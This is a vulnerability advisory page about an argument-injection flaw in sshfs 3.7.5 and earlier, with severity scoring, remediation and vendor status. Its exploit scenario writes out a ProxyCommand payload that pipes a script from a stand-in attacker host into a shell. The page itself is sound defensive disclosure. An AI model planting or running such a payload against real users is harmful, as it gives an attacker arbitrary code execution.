Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker plants malicious sshfs mount source
-
DeliveryVictim executes sshfs with crafted source
-
ExploitHostname parsed without leading-dash validation
-
ExecutionHostname appended to SSH args without '--' separator
-
PersistSSH interprets dash-prefixed hostname as ProxyCommand option
-
ImpactAttacker-specified command executes as victim user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | The victim user must execute sshfs with a hostname argument beginning with a dash, which requires the attacker to control or influence the sshfs command-line invocation - achievable via a shared script, CI/CD pipeline configuration, alias file, malicious dotfile repo, or direct social engineering. The attack is constrained to a local attack surface (AV:L): the attacker cannot trigger the vulnerable code path remotely without first influencing the user's command execution. Active user interaction (UI:R) is required - the victim must actually run the sshfs command. No prior authentication or elevated privileges are needed (PR:N), since any unprivileged user may invoke sshfs. Exploitation is bounded by the victim user's own privilege level (S:U); it cannot directly escalate to root unless sshfs is invoked from a privileged context such as a setuid wrapper or root-owned script. The attack is fully blocked in sshfs 3.7.6 by the leading-dash hostname rejection and the '--' separator insertion. |
| Impact | CVSS 3.1 scores this 7.0 (High) with vector AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H. The local attack vector (AV:L) and high complexity (AC:H) are the dominant risk-reduction factors: exploitation requires the attacker to control or influence the sshfs mount source argument, which cannot happen via a direct network path - it depends on social engineering, a shared script, a CI/CD pipeline configuration, or a malicious alias file. EPSS at 0.02% (6th percentile) corroborates the statistical model's low confidence in imminent exploitation. The vulnerability is not listed in CISA KEV. Despite these limiting signals, the potential impact is complete compromise of the victim user session (C:H/I:H/A:H) because ProxyCommand injection enables arbitrary code execution with no scope change - an attacker who controls the mount source achieves the same effect as running arbitrary commands as the victim. Risk priority is HIGH in environments where sshfs mount sources can be influenced by untrusted input (shared tooling, CI pipelines, dotfile repos) and LOW where mount sources are fully operator-controlled. The 'Path Traversal' tag in input metadata is an artifact of the co-reported symlink-escape sibling CVE-2026-47187 and is not a primary characteristic of this injection issue. |
| Exploit ScenarioDerived | An attacker plants a malicious mount source string such as '[-oProxyCommand=/bin/bash -c "curl attacker.com/shell|sh"]:/remote/path' in a shared dotfile repository, CI/CD pipeline configuration, or script that a victim user executes. When the victim runs sshfs with this source, the parsed hostname '-oProxyCommand=...' is forwarded to the SSH subprocess without a '--' separator, causing SSH to treat it as a ProxyCommand directive and execute the attacker-specified command under the victim's user account. No standalone proof-of-concept tool has been publicly released, but the fix commit includes test cases that demonstrate the injection technique, and exploitation requires no specialized knowledge beyond familiarity with SSH's ProxyCommand option. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
SSH argument injection in sshfs 3.7.5 and earlier allows a locally-present attacker to inject arbitrary SSH client options by supplying a dash-prefixed hostname such as '-oProxyCommand=id' as the remote filesystem mount source. When a user is induced to mount a crafted sshfs URI, the parsed hostname is passed directly to the underlying SSH subprocess without a preceding '--' argument separator or leading-dash validation, causing SSH to interpret the hostname as an option flag and execute the injected command at the victim user's privilege level. No public exploit has been identified at time of analysis, though the oss-security disclosure (2026-05-30) and a released fix at sshfs-3.7.6 confirm the issue; EPSS is 0.02% (6th percentile) with no CISA KEV listing.
RemediationAI
Upgrade sshfs to version 3.7.6, the confirmed patched release available at https://github.com/libfuse/sshfs/releases/tag/sshfs-3.7.6. This release incorporates commit 29bb565ea6405e2dd5a0ea65fe64da117e76055e, which both inserts a '--' separator before the hostname argument in the SSH subprocess call and explicitly rejects hostnames beginning with a dash. For users who cannot immediately upgrade, a practical compensating control is to validate any sshfs mount source in wrapper scripts using a pattern such as rejecting strings matching '^-' - this blocks the injection vector without an upgrade but does not cover library-level or programmatic callers of sshfs. Environments using sshfs in CI/CD pipelines or shared tooling should audit whether the mount source can be influenced by external input and restrict it to operator-controlled values. Full advisory details are at https://github.com/libfuse/sshfs/security/advisories/GHSA-mm85-q63v-4476.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
sshfs (libfuse/sshfs) is a FUSE-based userspace filesystem client that mounts remote directories over SFTP by spawning an SSH subprocess. The vulnerability is classified CWE-88 (Argument Injection or Modification): prior to the patch, the hostname component parsed from the mount source argument was appended to the SSH argument vector without a preceding '--' end-of-options separator and without validating that it did not begin with a dash. Because SSH treats any leading-dash positional argument as an option flag, a crafted hostname such as '-oProxyCommand=/usr/bin/id' is interpreted by the SSH client as a ProxyCommand directive rather than a remote host, enabling arbitrary command execution. The fix in commit 29bb565ea6405e2dd5a0ea65fe64da117e76055e closes the issue by (1) inserting '--' before the hostname argument in the SSH invocation and (2) explicitly rejecting hostnames starting with '-' with an 'invalid hostname' error and non-zero exit. The 'Apache' tag co-appearing in the oss-security thread data bleeds over from CVE-2026-48827 (Apache MINA SSHD) reported in the same thread and does not apply to this issue.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Local vector (AV:L) and active user interaction (UI:R) are required; no privileges needed (PR:N) to invoke sshfs; high complexity (AC:H) because attacker must control the mount source argument through an indirect channel.
Primary rating from Vendor (CNA).
CVSS VectorVendor
Lifecycle Timeline
4Description PRE-NVD
Executive ViewAI
sshfs versions 3.7.5 and earlier contain an argument injection vulnerability that allows local attackers to execute arbitrary commands at a user's privilege level when mounting crafted remote filesystems. This impacts organizations where users mount sshfs resources from untrusted or socially-engineered sources. A patch has been available since sshfs 3.7.6, making remediation straightforward.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Same technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Package Hub 15 SP7 | Fixed |
| openSUSE Leap 16.0 | Fixed |
| openSUSE Tumbleweed | Fixed |
| SUSE Package Hub 15 SP7 | Affected |
EUVD-2026-62494
NVD
CVE.org
EPSS
GitHub
Exploit-DB